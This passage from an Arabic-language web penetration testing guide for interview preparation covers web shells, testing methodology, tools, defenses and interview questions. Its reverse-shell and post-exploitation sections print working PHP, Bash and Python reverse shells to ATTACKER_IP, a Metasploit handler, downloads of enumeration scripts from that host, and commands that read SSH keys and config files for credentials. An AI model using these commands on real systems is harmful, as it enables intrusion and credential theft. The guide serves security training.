# Features: file upload/download, SQL console, backdoor creation

3. WSO Shell, C99, r57:

أمثلة على Web Shells متقدمة توفر إدارة ملفات وتنفيذ أوامر والتعامل مع قواعد البيانات.

#8.2 Reverse Shells

إعداد Listener:

bash
# Netcat
nc -lvnp 4444

# Multi-handler (Metasploit)
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST attacker_ip
set LPORT 4444
exploit

Reverse Shell بلغة PHP:

php
<?php
$sock=fsockopen("ATTACKER_IP",4444);
$proc=proc_open("/bin/bash -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>

Reverse Shell باستخدام Bash:

bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# URL encoded
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FATTACKER_IP%2F4444%200%3E%261%27

Reverse Shell باستخدام Python:

python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

#8.3 ما بعد الاستغلال

بعد الحصول على وصول Shell:

1. Stabilize Shell:

bash
# Python PTY
python -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

2. Enumerate System:

bash
# System info
uname -a
cat /etc/os-release
hostname

# Current user
whoami
id
groups

# Network
ip addr
ifconfig
netstat -antup
ss -antup

# Processes
ps aux
ps -ef

# Cron jobs
cat /etc/crontab
ls -la /etc/cron*
crontab -l

# SUID files
find / -perm -4000 2>/dev/null

3. Find Sensitive Data:

bash
# Database credentials
grep -r "password" /var/www/html/
find /var/www -name config.php
find /var/www -name wp-config.php
cat .env

# SSH keys
find / -name id_rsa 2>/dev/null
find / -name id_dsa 2>/dev/null
cat ~/.ssh/id_rsa

# History files
cat ~/.bash_history
cat ~/.mysql_history

# Backup files
find /var/www -name "*.bak"
find /var/www -name "*.old"
find /var/www -name "*backup*"

4. Privilege Escalation:

bash
# Check sudo rights
sudo -l

# Automated enumeration
wget http://ATTACKER_IP/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

# Or
wget http://ATTACKER_IP/LinEnum.sh
bash LinEnum.sh

#🎯 سير العمل الكامل لاختبار الاختراق

#المنهجية خطوة بخطوة:

1. Reconnaissance (Information Gathering)

  • تحديد تقنيات الويب باستخدام Wappalyzer أو WhatWeb.
  • حصر أساليب HTTP.
  • حصر المجلدات والملفات.
  • تحديد نظام إدارة المحتوى أو إطار العمل.
  • مراجعة robots.txt وsitemap.xml.
  • مراجعة الشيفرة الظاهرة للعميل، بما في ذلك التعليقات والحقول المخفية.

2. Enumeration & Scanning

  • فحص المنافذ إذا كان ضمن نطاق الاختبار.
  • حصر الخدمات.
  • اختبار إعدادات SSL/TLS.
  • حصر النطاقات الفرعية.
  • اكتشاف Virtual Hosts.

3. Authentication Testing

  • اختبار بيانات الاعتماد الافتراضية ضمن النطاق.
  • اختبار إمكانية اكتشاف أسماء المستخدمين.
  • اختبار مقاومة التخمين وفق ضوابط النطاق ومعدلات آمنة.
  • اختبار ضوابط OTP/2FA.
  • اختبار إدارة الجلسات.
  • اختبار وظيفة إعادة تعيين كلمة المرور.

4. Authorization Testing

  • اختبار التصعيد الأفقي للصلاحيات.
  • اختبار التصعيد العمودي للصلاحيات.
  • اختبار IDOR.
  • اختبار Forced Browsing.
  • اختبار نقاط نهاية API.

5. Input Validation Testing

  • اختبار XSS بأنواعه Reflected وStored وDOM.
  • اختبار SQL Injection بأنواعه Error-Based وUnion-Based وBlind.
  • اختبار NoSQL Injection.
  • اختبار Command Injection.
  • اختبار Code Injection.
  • اختبار LDAP Injection.
  • اختبار XML Injection / XXE.
  • اختبار SSRF.

6. File Operations Testing

  • اختبار ثغرات رفع الملفات.
  • اختبار Directory / Path Traversal.
  • اختبار LFI.
  • اختبار RFI.
  • اختبار تنزيل ملفات غير مصرح بها.

7. Business Logic Testing

  • اختبار التلاعب بالأسعار.
  • اختبار التلاعب بالكميات.
  • اختبار Race Conditions.
  • اختبار تجاوز سير العمل.
  • اختبار تجاوز منطق الدفع أو الاسترداد.

8. Server Configuration Testing

  • اختبار أخطاء إعداد خادم الويب.
  • اختبار انكشاف البيانات الحساسة.
  • مراجعة HTTP Security Headers.
  • مراجعة إعدادات SSL/TLS.
  • البحث عن انكشاف ملفات النسخ الاحتياطية.

9. Exploitation & Post-Exploitation

  • تقييم مسار الوصول الأولي عند وجود ثغرة قابلة للاستغلال.
  • تقييم الانتقال إلى جلسة تفاعلية في بيئة الاختبار عند الحاجة.
  • حصر معلومات النظام ضمن النطاق.
  • تحديد البيانات الحساسة المكشوفة.
  • تقييم مسارات تصعيد الصلاحيات.
  • تقييم الحركة الجانبية إذا كانت ضمن النطاق.
  • تقييم مخاطر الاستمرارية إذا كانت جزءاً من سيناريو الاختبار.

10. Documentation & Reporting

  • توثيق جميع النتائج.
  • إرفاق دليل إثبات مناسب (PoC) ضمن التقرير.
  • تقييم الأثر والمخاطر.
  • تقديم توصيات للمعالجة.
  • إعداد ملخص تنفيذي.

#🧰 ملخص الأدوات الأساسية

#الاستطلاع والحصر

  • Nmap: Port scanning and service detection
  • Gobuster/Dirbuster: Directory enumeration
  • WhatWeb/Wappalyzer: Technology detection
  • WPScan: WordPress vulnerability scanner
  • Sublist3r: Subdomain enumeration

#البروكسي واعتراض الطلبات

  • Burp Suite: Web proxy, Intruder, Repeater, Scanner
  • OWASP ZAP: Alternative to Burp Suite

#أدوات الاستغلال

  • SQLMap: Automated SQL injection
  • XSSer: Automated XSS detection
  • Hydra: Brute force authentication
  • Weevely: Web shell generation and management
  • Metasploit: Exploitation framework

#ما بعد الاستغلال

  • LinPEAS/LinEnum: Linux privilege escalation enumeration
  • Netcat: Reverse shell listener
  • PowerShell Empire: Post-exploitation framework

#الاختبار اليدوي

  • curl: Command-line HTTP client
  • Python scripts: Custom exploitation scripts
  • Browser DevTools: Inspect requests/responses

#🔒 ملخص الدفاع والوقاية

#أفضل الممارسات الأمنية العامة

  • التحقق من المدخلات باستخدام قائمة سماح.
  • تطبيق Output Encoding.
  • استخدام Parameterized Queries / Prepared Statements.
  • تطبيق مبدأ أقل الصلاحيات.
  • تطبيق الدفاع متعدد الطبقات.
  • إجراء تحديثات أمنية دورية.
  • استخدام Security Headers مثل CSP وX-Frame-Options وغيرها.
  • فرض HTTPS على جميع الاتصالات.
  • استخدام Web Application Firewall (WAF).

#المصادقة وإدارة الجلسات

  • تطبيق سياسات قوية لكلمات المرور.
  • استخدام المصادقة متعددة العوامل.
  • تفعيل آليات قفل الحساب.
  • تطبيق Rate Limiting.
  • استخدام رموز جلسات آمنة.
  • تفعيل HttpOnly وSecure للكوكيز الحساسة.
  • ضبط مهلة انتهاء الجلسة.

#أمن الكود

  • عدم استخدام eval() أو exec() مع مدخلات المستخدم.
  • تعطيل الدوال الخطرة غير الضرورية.
  • استخدام أطر عمل توفر وسائل حماية افتراضية.
  • إجراء مراجعات دورية للكود.
  • استخدام أدوات التحليل الساكن (SAST).
  • استخدام أدوات التحليل الديناميكي (DAST).

#إعدادات الخادم

  • تعطيل الخدمات غير الضرورية.
  • إزالة بيانات الاعتماد الافتراضية.
  • تعطيل استعراض محتويات المجلدات.
  • تقليل كشف معلومات الإصدارات.
  • ضبط صلاحيات الملفات بصورة صحيحة.
  • إجراء مراجعات أمنية دورية.

#📝 نصائح للاستعداد للمقابلات

#أسئلة مقابلات شائعة:

س: اشرح منهجيتك في اختبار اختراق تطبيقات الويب.

ج: ابدأ بالاستطلاع وجمع المعلومات، ثم انتقل إلى اختبار المصادقة والتفويض، وبعدها اختبار التحقق من المدخلات مثل XSS وSQLi، ثم عمليات الملفات ومنطق الأعمال، وأخيراً التحقق من قابلية الاستغلال. يجب توثيق النتائج دائماً وتقديم توصيات واضحة للمعالجة.

س: ما الفرق بين أنواع XSS؟

ج: في Reflected XSS تكون الحمولة داخل الطلب وتنعكس مباشرة. في Stored XSS تُخزَّن الحمولة ثم تُعرض لاحقاً. أما DOM XSS فالمشكلة تكون داخل JavaScript على جهة العميل. ويُعد Stored XSS غالباً أعلى أثراً لأنه قد يؤثر في عدة مستخدمين.

س: كيف تختبر وجود SQL Injection؟

ج: ابدأ بمؤشرات بسيطة تكشف أخطاء بناء الاستعلام، ثم اختبر السلوك المنطقي للاستجابة، وحدد ما إذا كان UNION ممكناً، وبعد ذلك اختبر Blind SQLi بأساليب Boolean-Based أو Time-Based. يمكن استخدام SQLMap للأتمتة، لكن من المهم فهم الاختبار اليدوي.

س: اشرح منهجية تقييم ثغرة LFI.

ج: يبدأ التقييم عادة بالتحقق من إمكانية قراءة ملفات محلية خارج المسار المقصود، ثم يتم تحليل ما إذا كانت الثغرة قد تقود إلى أثر أعلى مثل تنفيذ كود عبر تقنيات التضمين أو الملفات المؤقتة أو دمجها مع ثغرات أخرى، وذلك داخل بيئة اختبار مصرح بها.

س: ما الأدوات التي تستخدمها ولماذا؟

ج: أستخدم Burp Suite لاعتراض الطلبات وتعديلها والاختبار اليدوي، وSQLMap لأتمتة اختبارات SQLi، وGobuster لحصر المجلدات، وأدوات اختبار المصادقة عند الحاجة. ومع ذلك، يجب التحقق من النتائج يدوياً دائماً.

س: كيف تمنع [ثغرة محددة]؟

راجع أساليب الوقاية الخاصة بكل نوع من الثغرات كما هو موضح في الأقسام السابقة.

#نقاط أساسية يجب تذكرها:

  • اشرح دائماً سبب ظهور الثغرة.
  • أظهر فهمك لجانب الاستغلال وجانب الوقاية معاً.
  • أظهر معرفتك بالأدوات مع التأكيد على أهمية الاختبار اليدوي.
  • وضّح أثر الثغرة ومستوى خطورتها.
  • استخدم سيناريوهات وأمثلة واقعية.
  • افهم سلسلة الهجوم كاملة.
  • راجع OWASP Top 10.
  • تابع الثغرات والتحديثات الأمنية الحديثة.

#✅ قائمة التحقق قبل المقابلة

  • مراجعة أنواع الثغرات وأساليب الوقاية منها.
  • التدرب على شرح تقنيات الاستغلال في سياق الاختبار المصرح.
  • مراجعة الأوامر الأساسية للأدوات الشائعة.
  • مراجعة OWASP Top 10.
  • تجهيز أمثلة من الخبرة السابقة.
  • فهم دورة حياة اختبار الاختراق كاملة.
  • مراجعة CVEs والثغرات الحديثة.
  • التدرب على سيناريوهات عملية داخل بيئات مخبرية أو مصرح بها.